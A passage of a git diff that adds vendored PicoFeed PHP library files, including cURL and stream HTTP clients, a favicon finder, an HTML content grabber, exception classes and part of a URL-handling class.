+ * @var integer
+ */
+ private $body_length = 0;
+
+ /**
+ * HTTP response headers
+ *
+ * @access private
+ * @var array
+ */
+ private $headers = array();
+
+ /**
+ * Counter on the number of header received
+ *
+ * @access private
+ * @var integer
+ */
+ private $headers_counter = 0;
+
+ /**
+ * cURL callback to read the HTTP body
+ *
+ * If the function return -1, curl stop to read the HTTP response
+ *
+ * @access public
+ * @param resource $ch cURL handler
+ * @param string $buffer Chunk of data
+ * @return integer Length of the buffer
+ */
+ public function readBody($ch, $buffer)
+ {
+ $length = strlen($buffer);
+ $this->body_length += $length;
+
+ if ($this->body_length > $this->max_body_size) {
+ return -1;
+ }
+
+ $this->body .= $buffer;
+
+ return $length;
+ }
+
+ /**
+ * cURL callback to read HTTP headers
+ *
+ * @access public
+ * @param resource $ch cURL handler
+ * @param string $buffer Header line
+ * @return integer Length of the buffer
+ */
+ public function readHeaders($ch, $buffer)
+ {
+ $length = strlen($buffer);
+
+ if ($buffer === "\r\n") {
+ $this->headers_counter++;
+ }
+ else {
+
+ if (! isset($this->headers[$this->headers_counter])) {
+ $this->headers[$this->headers_counter] = '';
+ }
+
+ $this->headers[$this->headers_counter] .= $buffer;
+ }
+
+ return $length;
+ }
+
+ /**
+ * Prepare HTTP headers
+ *
+ * @access private
+ * @return array
+ */
+ private function prepareHeaders()
+ {
+ $headers = array(
+ 'Connection: close',
+ 'User-Agent: '.$this->user_agent,
+ );
+
+ if ($this->etag) {
+ $headers[] = 'If-None-Match: '.$this->etag;
+ }
+
+ if ($this->last_modified) {
+ $headers[] = 'If-Modified-Since: '.$this->last_modified;
+ }
+
+ return $headers;
+ }
+
+ /**
+ * Prepare curl proxy context
+ *
+ * @access private
+ * @return resource
+ */
+ private function prepareProxyContext($ch)
+ {
+ if ($this->proxy_hostname) {
+
+ Logging::setMessage(get_called_class().' Proxy: '.$this->proxy_hostname.':'.$this->proxy_port);
+
+ curl_setopt($ch, CURLOPT_PROXYPORT, $this->proxy_port);
+ curl_setopt($ch, CURLOPT_PROXYTYPE, 'HTTP');
+ curl_setopt($ch, CURLOPT_PROXY, $this->proxy_hostname);
+
+ if ($this->proxy_username) {
+ Logging::setMessage(get_called_class().' Proxy credentials: Yes');
+ curl_setopt($ch, CURLOPT_PROXYUSERPWD, $this->proxy_username.':'.$this->proxy_password);
+ }
+ else {
+ Logging::setMessage(get_called_class().' Proxy credentials: No');
+ }
+ }
+
+ return $ch;
+ }
+
+ /**
+ * Prepare curl context
+ *
+ * @access private
+ * @return resource
+ */
+ private function prepareContext()
+ {
+ $ch = curl_init();
+
+ curl_setopt($ch, CURLOPT_URL, $this->url);
+ curl_setopt($ch, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1);
+ curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $this->timeout);
+ curl_setopt($ch, CURLOPT_TIMEOUT, $this->timeout);
+ curl_setopt($ch, CURLOPT_HTTPHEADER, $this->prepareHeaders());
+ curl_setopt($ch, CURLOPT_FOLLOWLOCATION, ini_get('open_basedir') === '');
+ curl_setopt($ch, CURLOPT_MAXREDIRS, $this->max_redirects);
+ curl_setopt($ch, CURLOPT_ENCODING, '');
+ curl_setopt($ch, CURLOPT_WRITEFUNCTION, array($this, 'readBody'));
+ curl_setopt($ch, CURLOPT_HEADERFUNCTION, array($this, 'readHeaders'));
+ curl_setopt($ch, CURLOPT_COOKIEJAR, 'php://memory');
+ curl_setopt($ch, CURLOPT_COOKIEFILE, 'php://memory');
+
+ $ch = $this->prepareProxyContext($ch);
+
+ return $ch;
+ }
+
+ /**
+ * Execute curl context
+ *
+ * @access private
+ */
+ private function executeContext()
+ {
+ $ch = $this->prepareContext();
+ curl_exec($ch);
+
+ Logging::setMessage(get_called_class().' cURL total time: '.curl_getinfo($ch, CURLINFO_TOTAL_TIME));
+ Logging::setMessage(get_called_class().' cURL dns lookup time: '.curl_getinfo($ch, CURLINFO_NAMELOOKUP_TIME));
+ Logging::setMessage(get_called_class().' cURL connect time: '.curl_getinfo($ch, CURLINFO_CONNECT_TIME));
+ Logging::setMessage(get_called_class().' cURL speed download: '.curl_getinfo($ch, CURLINFO_SPEED_DOWNLOAD));
+ Logging::setMessage(get_called_class().' cURL effective url: '.curl_getinfo($ch, CURLINFO_EFFECTIVE_URL));
+
+ $curl_errno = curl_errno($ch);
+
+ if ($curl_errno) {
+ Logging::setMessage(get_called_class().' cURL error: '.curl_error($ch));
+ curl_close($ch);
+
+ $this->handleError($curl_errno);
+ }
+
+ curl_close($ch);
+ }
+
+ /**
+ * Do the HTTP request
+ *
+ * @access public
+ * @param bool $follow_location Flag used when there is an open_basedir restriction
+ * @return array HTTP response ['body' => ..., 'status' => ..., 'headers' => ...]
+ */
+ public function doRequest($follow_location = true)
+ {
+ $this->executeContext();
+
+ list($status, $headers) = $this->parseHeaders(explode("\r\n", $this->headers[$this->headers_counter - 1]));
+
+ // When resticted with open_basedir
+ if ($this->needToHandleRedirection($follow_location, $status)) {
+ return $this->handleRedirection($headers['Location']);
+ }
+
+ return array(
+ 'status' => $status,
+ 'body' => $this->body,
+ 'headers' => $headers
+ );
+ }
+
+ /**
+ * Check if the redirection have to be handled manually
+ *
+ * @access private
+ * @param boolean $follow_location Flag
+ * @param integer $status HTTP status code
+ * @return boolean
+ */
+ private function needToHandleRedirection($follow_location, $status)
+ {
+ return $follow_location && ini_get('open_basedir') !== '' && ($status == 301 || $status == 302);
+ }
+
+ /**
+ * Handle manually redirections when there is an open base dir restriction
+ *
+ * @access private
+ * @param string $location Redirected URL
+ * @return boolean|array
+ */
+ private function handleRedirection($location)
+ {
+ $nb_redirects = 0;
+ $this->url = $location;
+ $this->body = '';
+ $this->body_length = 0;
+ $this->headers = array();
+ $this->headers_counter = 0;
+
+ while (true) {
+
+ $nb_redirects++;
+
+ if ($nb_redirects >= $this->max_redirects) {
+ return false;
+ }
+
+ $result = $this->doRequest(false);
+
+ if ($result['status'] == 301 || $result['status'] == 302) {
+ $this->url = $result['headers']['Location'];
+ $this->body = '';
+ $this->body_length = 0;
+ $this->headers = array();
+ $this->headers_counter = 0;
+ }
+ else {
+ return $result;
+ }
+ }
+
+ return false;
+ }
+
+ /**
+ * Handle cURL errors (throw individual exceptions)
+ *
+ * We don't use constants because they are not necessary always available
+ * (depends of the version of libcurl linked to php)
+ *
+ * @see http://curl.haxx.se/libcurl/c/libcurl-errors.html
+ * @access private
+ * @param integer $errno cURL error code
+ */
+ private function handleError($errno)
+ {
+ switch ($errno) {
+ case 78: // CURLE_REMOTE_FILE_NOT_FOUND
+ throw new InvalidUrlException('Resource not found');
+ case 6: // CURLE_COULDNT_RESOLVE_HOST
+ throw new InvalidUrlException('Unable to resolve hostname');
+ case 7: // CURLE_COULDNT_CONNECT
+ throw new InvalidUrlException('Unable to connect to the remote host');
+ case 28: // CURLE_OPERATION_TIMEDOUT
+ throw new TimeoutException('Operation timeout');
+ case 35: // CURLE_SSL_CONNECT_ERROR
+ case 51: // CURLE_PEER_FAILED_VERIFICATION
+ case 58: // CURLE_SSL_CERTPROBLEM
+ case 60: // CURLE_SSL_CACERT
+ case 59: // CURLE_SSL_CIPHER
+ case 64: // CURLE_USE_SSL_FAILED
+ case 66: // CURLE_SSL_ENGINE_INITFAILED
+ case 77: // CURLE_SSL_CACERT_BADFILE
+ case 83: // CURLE_SSL_ISSUER_ERROR
+ throw new InvalidCertificateException('Invalid SSL certificate');
+ case 47: // CURLE_TOO_MANY_REDIRECTS
+ throw new MaxRedirectException('Maximum number of redirections reached');
+ case 63: // CURLE_FILESIZE_EXCEEDED
+ throw new MaxSizeException('Maximum response size exceeded');
+ default:
+ throw new InvalidUrlException('Unable to fetch the URL');
+ }
+ }
+}
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Client/Favicon.php b/vendor/fguillot/picofeed/lib/PicoFeed/Client/Favicon.php
new file mode 100644
index 000000000..b6d3b6d26
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Client/Favicon.php
@@ -0,0 +1,170 @@
+<?php
+
+namespace PicoFeed\Client;
+
+use DOMXpath;
+
+use PicoFeed\Config\Config;
+use PicoFeed\Logging\Logging;
+use PicoFeed\Parser\XmlParser;
+
+/**
+ * Favicon class
+ *
+ * https://en.wikipedia.org/wiki/Favicon
+ *
+ * @author Frederic Guillot
+ * @package Client
+ */
+class Favicon
+{
+ /**
+ * Config class instance
+ *
+ * @access private
+ * @var \PicoFeed\Config\Config
+ */
+ private $config;
+
+ /**
+ * Icon content
+ *
+ * @access private
+ * @var string
+ */
+ private $content = '';
+
+ /**
+ * Constructor
+ *
+ * @access public
+ * @param \PicoFeed\Config\Config $config Config class instance
+ */
+ public function __construct(Config $config = null)
+ {
+ $this->config = $config ?: new Config;
+ }
+
+ /**
+ * Get the icon file content (available only after the download)
+ *
+ * @access public
+ * @return string
+ */
+ public function getContent()
+ {
+ return $this->content;
+ }
+
+ /**
+ * Download and check if a resource exists
+ *
+ * @access public
+ * @param string $url URL
+ * @return string Resource content
+ */
+ public function download($url)
+ {
+ try {
+
+ Logging::setMessage(get_called_class().' Download => '.$url);
+
+ $client = Client::getInstance();
+ $client->setConfig($this->config);
+ $client->execute($url);
+
+ return $client->getContent();
+ }
+ catch (ClientException $e) {
+ return '';
+ }
+ }
+
+ /**
+ * Check if a remote file exists
+ *
+ * @access public
+ * @param string $url URL
+ * @return boolean
+ */
+ public function exists($url)
+ {
+ return $this->download($url) !== '';
+ }
+
+ /**
+ * Get the icon link for a website
+ *
+ * @access public
+ * @param string $website_link URL
+ * @return string
+ */
+ public function find($website_link)
+ {
+ $website = new Url($website_link);
+
+ $icons = $this->extract($this->download($website->getBaseUrl('/')));
+ $icons[] = $website->getBaseUrl('/favicon.ico');
+
+ foreach ($icons as $icon_link) {
+
+ $icon_link = $this->convertLink($website, new Url($icon_link));
+ $this->content = $this->download($icon_link);
+
+ if ($this->content !== '') {
+ return $icon_link;
+ }
+ }
+
+ return '';
+ }
+
+ /**
+ * Convert icon links to absolute url
+ *
+ * @access public
+ * @param \PicoFeed\Client\Url $website Website url
+ * @param \PicoFeed\Client\Url $icon Icon url
+ * @return string
+ */
+ public function convertLink(Url $website, Url $icon)
+ {
+ $base_url = '';
+
+ if ($icon->isRelativeUrl()) {
+ $base_url = $website->getBaseUrl();
+ }
+ else if ($icon->isProtocolRelative()) {
+ $icon->setScheme($website->getScheme());
+ }
+
+ return $icon->getAbsoluteUrl($base_url);
+ }
+
+ /**
+ * Extract the icon links from the HTML
+ *
+ * @access public
+ * @param string $html HTML
+ * @return array
+ */
+ public function extract($html)
+ {
+ $icons = array();
+
+ if (empty($html)) {
+ return $icons;
+ }
+
+ $dom = XmlParser::getHtmlDocument($html);
+
+ $xpath = new DOMXpath($dom);
+ $elements = $xpath->query("//link[contains(@rel, 'icon') and not(contains(@rel, 'apple'))]");
+
+ for ($i = 0; $i < $elements->length; $i++) {
+ $icons[] = $elements->item($i)->getAttribute('href');
+ }
+
+ return $icons;
+ }
+}
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Client/Grabber.php b/vendor/fguillot/picofeed/lib/PicoFeed/Client/Grabber.php
new file mode 100644
index 000000000..a072fc805
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Client/Grabber.php
@@ -0,0 +1,403 @@
+<?php
+
+namespace PicoFeed\Client;
+
+use DOMXPath;
+
+use PicoFeed\Encoding\Encoding;
+use PicoFeed\Logging\Logging;
+use PicoFeed\Filter\Filter;
+use PicoFeed\Parser\XmlParser;
+
+/**
+ * Grabber class
+ *
+ * @author Frederic Guillot
+ * @package Client
+ */
+class Grabber
+{
+ /**
+ * URL
+ *
+ * @access private
+ * @var string
+ */
+ private $url = '';
+
+ /**
+ * Relevant content
+ *
+ * @access private
+ * @var string
+ */
+ private $content = '';
+
+ /**
+ * HTML content
+ *
+ * @access private
+ * @var string
+ */
+ private $html = '';
+
+ /**
+ * HTML content encoding
+ *
+ * @access private
+ * @var string
+ */
+ private $encoding = '';
+
+ /**
+ * List of attributes to try to get the content, order is important, generic terms at the end
+ *
+ * @access private
+ * @var array
+ */
+ private $candidatesAttributes = array(
+ 'articleBody',
+ 'articlebody',
+ 'article-body',
+ 'articleContent',
+ 'articlecontent',
+ 'article-content',
+ 'articlePage',
+ 'post-content',
+ 'post_content',
+ 'entry-content',
+ 'main-content',
+ 'story_content',
+ 'storycontent',
+ 'entryBox',
+ 'entrytext',
+ 'comic',
+ 'post',
+ 'article',
+ 'content',
+ 'main',
+ );
+
+ /**
+ * List of attributes to strip
+ *
+ * @access private
+ * @var array
+ */
+ private $stripAttributes = array(
+ 'comment',
+ 'share',
+ 'links',
+ 'toolbar',
+ 'fb',
+ 'footer',
+ 'credit',
+ 'bottom',
+ 'nav',
+ 'header',
+ 'social',
+ 'tag',
+ 'metadata',
+ 'entry-utility',
+ 'related-posts',
+ 'tweet',
+ 'categories',
+ );
+
+ /**
+ * Tags to remove
+ *
+ * @access private
+ * @var array
+ */
+ private $stripTags = array(
+ 'script',
+ 'style',
+ 'nav',
+ 'header',
+ 'footer',
+ 'aside',
+ 'form',
+ );
+
+ /**
+ * Config object
+ *
+ * @access private
+ * @var \PicoFeed\Config\Config
+ */
+ private $config;
+
+ /**
+ * Constructor
+ *
+ * @access public
+ * @param string $url Url
+ * @param string $html HTML content
+ * @param string $encoding Charset
+ */
+ public function __construct($url, $html = '', $encoding = 'utf-8')
+ {
+ $this->url = $url;
+ $this->html = $html;
+ $this->encoding = $encoding;
+ }
+
+ /**
+ * Set config object
+ *
+ * @access public
+ * @param \PicoFeed\Config $config Config instance
+ * @return \PicoFeed\Grabber
+ */
+ public function setConfig($config)
+ {
+ $this->config = $config;
+ return $this;
+ }
+
+ /**
+ * Get relevant content
+ *
+ * @access public
+ * @return string
+ */
+ public function getContent()
+ {
+ return $this->content;
+ }
+
+ /**
+ * Get raw content (unfiltered)
+ *
+ * @access public
+ * @return string
+ */
+ public function getRawContent()
+ {
+ return $this->html;
+ }
+
+ /**
+ * Parse the HTML content
+ *
+ * @access public
+ * @return bool
+ */
+ public function parse()
+ {
+ if ($this->html) {
+
+ Logging::setMessage(get_called_class().' Fix encoding');
+ Logging::setMessage(get_called_class().': HTTP Encoding "'.$this->encoding.'"');
+
+ $this->html = Filter::stripHeadTags($this->html);
+ $this->html = Encoding::convert($this->html, $this->encoding);
+
+ Logging::setMessage(get_called_class().' Content length: '.strlen($this->html).' bytes');
+ $rules = $this->getRules();
+
+ if (is_array($rules)) {
+ Logging::setMessage(get_called_class().' Parse content with rules');
+ $this->parseContentWithRules($rules);
+ }
+ else {
+ Logging::setMessage(get_called_class().' Parse content with candidates');
+ $this->parseContentWithCandidates();
+ }
+ }
+ else {
+ Logging::setMessage(get_called_class().' No content fetched');
+ }
+
+ Logging::setMessage(get_called_class().' Content length: '.strlen($this->content).' bytes');
+ Logging::setMessage(get_called_class().' Grabber done');
+
+ return $this->content !== '';
+ }
+
+ /**
+ * Download the HTML content
+ *
+ * @access public
+ * @return HTML content
+ */
+ public function download()
+ {
+ $client = Client::getInstance();
+ $client->setConfig($this->config);
+ $client->execute($this->url);
+
+ $this->html = $client->getContent();
+ $this->encoding = $client->getEncoding();
+
+ return $this->html;
+ }
+
+ /**
+ * Try to find a predefined rule
+ *
+ * @access public
+ * @return mixed
+ */
+ public function getRules()
+ {
+ $hostname = parse_url($this->url, PHP_URL_HOST);
+
+ if ($hostname === false) {
+ return false;
+ }
+
+ $files = array($hostname);
+
+ if (substr($hostname, 0, 4) == 'www.') {
+ $files[] = substr($hostname, 4);
+ }
+
+ if (($pos = strpos($hostname, '.')) !== false) {
+ $files[] = substr($hostname, $pos);
+ $files[] = substr($hostname, $pos + 1);
+ $files[] = substr($hostname, 0, $pos);
+ }
+
+ // Logging::setMessage(var_export($files, true));
+
+ foreach ($files as $file) {
+
+ $filename = __DIR__.'/../Rules/'.$file.'.php';
+
+ if (file_exists($filename)) {
+ Logging::setMessage(get_called_class().' Load rule: '.$file);
+ return include $filename;
+ }
+ }
+
+ return false;
+ }
+
+ /**
+ * Get the relevant content with predefined rules
+ *
+ * @access public
+ * @param array $rules Rules
+ */
+ public function parseContentWithRules(array $rules)
+ {
+ // Logging::setMessage($this->html);
+ $dom = XmlParser::getHtmlDocument('<?xml version="1.0" encoding="UTF-8">'.$this->html);
+ $xpath = new DOMXPath($dom);
+
+ if (isset($rules['strip']) && is_array($rules['strip'])) {
+
+ foreach ($rules['strip'] as $pattern) {
+
+ $nodes = $xpath->query($pattern);
+
+ if ($nodes !== false && $nodes->length > 0) {
+ foreach ($nodes as $node) {
+ $node->parentNode->removeChild($node);
+ }
+ }
+ }
+ }
+
+ if (isset($rules['body']) && is_array($rules['body'])) {
+
+ foreach ($rules['body'] as $pattern) {
+
+ $nodes = $xpath->query($pattern);
+
+ if ($nodes !== false && $nodes->length > 0) {
+ foreach ($nodes as $node) {
+ $this->content .= $dom->saveXML($node);
+ }
+ }
+ }
+ }
+ }
+
+ /**
+ * Get the relevant content with the list of potential attributes
+ *
+ * @access public
+ */
+ public function parseContentWithCandidates()
+ {
+ $dom = XmlParser::getHtmlDocument('<?xml version="1.0" encoding="UTF-8">'.$this->html);
+ $xpath = new DOMXPath($dom);
+
+ // Try to lookup in each tag
+ foreach ($this->candidatesAttributes as $candidate) {
+
+ Logging::setMessage(get_called_class().' Try this candidate: "'.$candidate.'"');
+
+ $nodes = $xpath->query('//*[(contains(@class, "'.$candidate.'") or @id="'.$candidate.'") and not (contains(@class, "nav") or contains(@class, "page"))]');
+
+ if ($nodes !== false && $nodes->length > 0) {
+ $this->content = $dom->saveXML($nodes->item(0));
+ Logging::setMessage(get_called_class().' Find candidate "'.$candidate.'" ('.strlen($this->content).' bytes)');
+ break;
+ }
+ }
+
+ // Try to fetch <article/>
+ if (! $this->content) {
+
+ $nodes = $xpath->query('//article');
+
+ if ($nodes !== false && $nodes->length > 0) {
+ $this->content = $dom->saveXML($nodes->item(0));
+ Logging::setMessage(get_called_class().' Find <article/> tag ('.strlen($this->content).' bytes)');
+ }
+ }
+
+ if (strlen($this->content) < 50) {
+ Logging::setMessage(get_called_class().' No enought content fetched, get the full body');
+ $this->content = $dom->saveXML($dom->firstChild);
+ }
+
+ Logging::setMessage(get_called_class().' Strip garbage');
+ $this->stripGarbage();
+ }
+
+ /**
+ * Strip useless tags
+ *
+ * @access public
+ */
+ public function stripGarbage()
+ {
+ $dom = XmlParser::getDomDocument($this->content);
+
+ if ($dom !== false) {
+
+ $xpath = new DOMXPath($dom);
+
+ foreach ($this->stripTags as $tag) {
+
+ $nodes = $xpath->query('//'.$tag);
+
+ if ($nodes !== false && $nodes->length > 0) {
+ Logging::setMessage(get_called_class().' Strip tag: "'.$tag.'"');
+ foreach ($nodes as $node) {
+ $node->parentNode->removeChild($node);
+ }
+ }
+ }
+
+ foreach ($this->stripAttributes as $attribute) {
+
+ $nodes = $xpath->query('//*[contains(@class, "'.$attribute.'") or contains(@id, "'.$attribute.'")]');
+
+ if ($nodes !== false && $nodes->length > 0) {
+ Logging::setMessage(get_called_class().' Strip attribute: "'.$attribute.'"');
+ foreach ($nodes as $node) {
+ $node->parentNode->removeChild($node);
+ }
+ }
+ }
+
+ $this->content = $dom->saveXML($dom->documentElement);
+ }
+ }
+}
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Client/InvalidCertificateException.php b/vendor/fguillot/picofeed/lib/PicoFeed/Client/InvalidCertificateException.php
new file mode 100644
index 000000000..ece3f303f
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Client/InvalidCertificateException.php
@@ -0,0 +1,13 @@
+<?php
+
+namespace PicoFeed\Client;
+
+/**
+ * InvalidCertificateException Exception
+ *
+ * @author Frederic Guillot
+ * @package Client
+ */
+class InvalidCertificateException extends ClientException
+{
+}
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Client/InvalidUrlException.php b/vendor/fguillot/picofeed/lib/PicoFeed/Client/InvalidUrlException.php
new file mode 100644
index 000000000..0298f0dc8
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Client/InvalidUrlException.php
@@ -0,0 +1,13 @@
+<?php
+
+namespace PicoFeed\Client;
+
+/**
+ * InvalidUrlException Exception
+ *
+ * @author Frederic Guillot
+ * @package Client
+ */
+class InvalidUrlException extends ClientException
+{
+}
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Client/MaxRedirectException.php b/vendor/fguillot/picofeed/lib/PicoFeed/Client/MaxRedirectException.php
new file mode 100644
index 000000000..1651d7f6b
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Client/MaxRedirectException.php
@@ -0,0 +1,13 @@
+<?php
+
+namespace PicoFeed\Client;
+
+/**
+ * MaxRedirectException Exception
+ *
+ * @author Frederic Guillot
+ * @package Client
+ */
+class MaxRedirectException extends ClientException
+{
+}
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Client/MaxSizeException.php b/vendor/fguillot/picofeed/lib/PicoFeed/Client/MaxSizeException.php
new file mode 100644
index 000000000..60bb9f132
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Client/MaxSizeException.php
@@ -0,0 +1,13 @@
+<?php
+
+namespace PicoFeed\Client;
+
+/**
+ * MaxSizeException Exception
+ *
+ * @author Frederic Guillot
+ * @package Client
+ */
+class MaxSizeException extends ClientException
+{
+}
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Client/Stream.php b/vendor/fguillot/picofeed/lib/PicoFeed/Client/Stream.php
new file mode 100644
index 000000000..bc9809c4d
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Client/Stream.php
@@ -0,0 +1,170 @@
+<?php
+
+namespace PicoFeed\Client;
+
+use PicoFeed\Logging\Logging;
+
+/**
+ * Stream context HTTP client
+ *
+ * @author Frederic Guillot
+ * @package Client
+ */
+class Stream extends Client
+{
+ /**
+ * Prepare HTTP headers
+ *
+ * @access private
+ * @return array
+ */
+ private function prepareHeaders()
+ {
+ $headers = array(
+ 'Connection: close',
+ 'User-Agent: '.$this->user_agent,
+ );
+
+ if (function_exists('gzdecode')) {
+ $headers[] = 'Accept-Encoding: gzip';
+ }
+
+ if ($this->etag) {
+ $headers[] = 'If-None-Match: '.$this->etag;
+ }
+
+ if ($this->last_modified) {
+ $headers[] = 'If-Modified-Since: '.$this->last_modified;
+ }
+
+ if ($this->proxy_username) {
+ $headers[] = 'Proxy-Authorization: Basic '.base64_encode($this->proxy_username.':'.$this->proxy_password);
+ }
+
+ return $headers;
+ }
+
+ /**
+ * Prepare stream context
+ *
+ * @access private
+ * @return array
+ */
+ private function prepareContext()
+ {
+ $context = array(
+ 'http' => array(
+ 'method' => 'GET',
+ 'protocol_version' => 1.1,
+ 'timeout' => $this->timeout,
+ 'max_redirects' => $this->max_redirects,
+ )
+ );
+
+ if ($this->proxy_hostname) {
+
+ Logging::setMessage(get_called_class().' Proxy: '.$this->proxy_hostname.':'.$this->proxy_port);
+
+ $context['http']['proxy'] = 'tcp://'.$this->proxy_hostname.':'.$this->proxy_port;
+ $context['http']['request_fulluri'] = true;
+
+ if ($this->proxy_username) {
+ Logging::setMessage(get_called_class().' Proxy credentials: Yes');
+ }
+ else {
+ Logging::setMessage(get_called_class().' Proxy credentials: No');
+ }
+ }
+
+ $context['http']['header'] = implode("\r\n", $this->prepareHeaders());
+
+ return $context;
+ }
+
+ /**
+ * Do the HTTP request
+ *
+ * @access public
+ * @return array HTTP response ['body' => ..., 'status' => ..., 'headers' => ...]
+ */
+ public function doRequest()
+ {
+ // Create context
+ $context = stream_context_create($this->prepareContext());
+
+ // Make HTTP request
+ $stream = @fopen($this->url, 'r', false, $context);
+ if (! is_resource($stream)) {
+ throw new InvalidUrlException('Unable to establish a connection');
+ }
+
+ // Get the entire body until the max size
+ $body = stream_get_contents($stream, $this->max_body_size + 1);
+
+ // If the body size is too large abort everything
+ if (strlen($body) > $this->max_body_size) {
+ throw new MaxSizeException('Content size too large');
+ }
+
+ // Get HTTP headers response
+ $metadata = stream_get_meta_data($stream);
+
+ if ($metadata['timed_out']) {
+ throw new TimeoutException('Operation timeout');
+ }
+
+ list($status, $headers) = $this->parseHeaders($metadata['wrapper_data']);
+
+ fclose($stream);
+
+ return array(
+ 'status' => $status,
+ 'body' => $this->decodeBody($body, $headers),
+ 'headers' => $headers
+ );
+ }
+
+ /**
+ * Decode body response according to the HTTP headers
+ *
+ * @access public
+ * @param string $body Raw body
+ * @param array $headers HTTP headers
+ * @return string
+ */
+ public function decodeBody($body, array $headers)
+ {
+ if (isset($headers['Transfer-Encoding']) && $headers['Transfer-Encoding'] === 'chunked') {
+ $body = $this->decodeChunked($body);
+ }
+
+ if (isset($headers['Content-Encoding']) && $headers['Content-Encoding'] === 'gzip') {
+ $body = @gzdecode($body);
+ }
+
+ return $body;
+ }
+
+ /**
+ * Decode a chunked body
+ *
+ * @access public
+ * @param string $str Raw body
+ * @return string Decoded body
+ */
+ public function decodeChunked($str)
+ {
+ for ($result = ''; ! empty($str); $str = trim($str)) {
+
+ // Get the chunk length
+ $pos = strpos($str, "\r\n");
+ $len = hexdec(substr($str, 0, $pos));
+
+ // Append the chunk to the result
+ $result .= substr($str, $pos + 2, $len);
+ $str = substr($str, $pos + 2 + $len);
+ }
+
+ return $result;
+ }
+}
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Client/TimeoutException.php b/vendor/fguillot/picofeed/lib/PicoFeed/Client/TimeoutException.php
new file mode 100644
index 000000000..6ba5cbee2
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Client/TimeoutException.php
@@ -0,0 +1,13 @@
+<?php
+
+namespace PicoFeed\Client;
+
+/**
+ * TimeoutException Exception
+ *
+ * @author Frederic Guillot
+ * @package Client
+ */
+class TimeoutException extends ClientException
+{
+}
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Client/Url.php b/vendor/fguillot/picofeed/lib/PicoFeed/Client/Url.php
new file mode 100644
index 000000000..90d7fb6f7
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Client/Url.php
@@ -0,0 +1,254 @@
+<?php
+
+namespace PicoFeed\Client;
+
+/**
+ * URL class
+ *
+ * @author Frederic Guillot
+ * @package Client
+ */
+class Url
+{
+ /**
+ * URL
+ *
+ * @access private
+ * @var string
+ */
+ private $url = '';
+
+ /**
+ * URL components
+ *
+ * @access private
+ * @var array
+ */
+ private $components = array();
+
+ /**
+ * Constructor
+ *
+ * @access public
+ * @param string $url URL
+ */
+ public function __construct($url)
+ {
+ $this->url = $url;
+ $this->components = parse_url($url) ?: array();
+
+ // Issue with PHP < 5.4.7 and protocol relative url
+ if (version_compare(PHP_VERSION, '5.4.7', '<') && $this->isProtocolRelative()) {
+ $pos = strpos($this->components['path'], '/', 2);
+
+ if ($pos === false) {
+ $pos = strlen($this->components['path']);
+ }
+
+ $this->components['host'] = substr($this->components['path'], 2, $pos - 2);
+ $this->components['path'] = substr($this->components['path'], $pos);
+ }
+ }
+
+ /**
+ * Shortcut method to get an absolute url from relative url
+ *
+ * @static
+ * @access public
+ * @param string $item_url Unknown url (can be relative or not)
+ * @param mixed $website_url Website url
+ * @return string
+ */
+ public static function resolve($item_url, $website_url)
+ {
+ $link = new Url($item_url);
+ $website = is_string($website_url) ? new Url($website_url) : $website_url;
+
+ if ($link->isRelativeUrl()) {
+
+ if ($link->isRelativePath()) {
+ return $link->getAbsoluteUrl($website->getAbsoluteUrl());
+ }
+
+ return $link->getAbsoluteUrl($website->getBaseUrl());
+ }
+ else if ($link->isProtocolRelative()) {
+ $link->setScheme($website->getScheme());
+ }
+
+ return $link->getAbsoluteUrl();
+ }
+
+ /**
+ * Get the base URL
+ *
+ * @access public
+ * @param string $suffix Add a suffix to the url
+ * @return string
+ */
+ public function getBaseUrl($suffix = '')
+ {
+ return $this->hasHost() ? $this->getScheme('://').$this->getHost().$this->getPort(':').$suffix : '';
+ }
+
+ /**
+ * Get the absolute URL
+ *
+ * @access public
+ * @param string $base_url Use this url as base url
+ * @return string
+ */
+ public function getAbsoluteUrl($base_url = '')
+ {
+ if ($base_url) {
+ $base = new Url($base_url);
+ $url = $base->getAbsoluteUrl().substr($this->getFullPath(), 1);
+ }
+ else {
+ $url = $this->hasHost() ? $this->getBaseUrl().$this->getFullPath() : '';
+ }
+
+ return $url;
+ }
+
+ /**
+ * Return true if the url is relative
+ *
+ * @access public
+ * @return boolean
+ */
+ public function isRelativeUrl()
+ {
+ return ! $this->hasScheme() && ! $this->isProtocolRelative();
+ }
+
+ /**
+ * Return true if the path is relative
+ *
+ * @access public
+ * @return boolean
+ */
+ public function isRelativePath()
+ {
+ $path = $this->getPath();
+ return empty($path) || $path{0} !== '/';
+ }
+
+ /**
+ * Get the path
+ *
+ * @access public
+ * @return string
+ */
+ public function getPath()
+ {
+ return empty($this->components['path']) ? '' : $this->components['path'];
+ }
+
+ /**
+ * Get the full path (path + querystring + fragment)
+ *
+ * @access public
+ * @return string
+ */
+ public function getFullPath()
+ {
+ $path = $this->isRelativePath() ? '/' : '';
+ $path .= $this->getPath();
+ $path .= empty($this->components['query']) ? '' : '?'.$this->components['query'];
+ $path .= empty($this->components['fragment']) ? '' : '#'.$this->components['fragment'];
+
+ return $path;
+ }
+
+ /**
+ * Get the hostname
+ *
+ * @access public
+ * @return string
+ */
+ public function getHost()
+ {
+ return empty($this->components['host']) ? '' : $this->components['host'];
+ }
+
+ /**
+ * Return true if the url has a hostname
+ *
+ * @access public
+ * @return boolean
+ */
+ public function hasHost()
+ {
+ return ! empty($this->components['host']);
+ }
+
+ /**
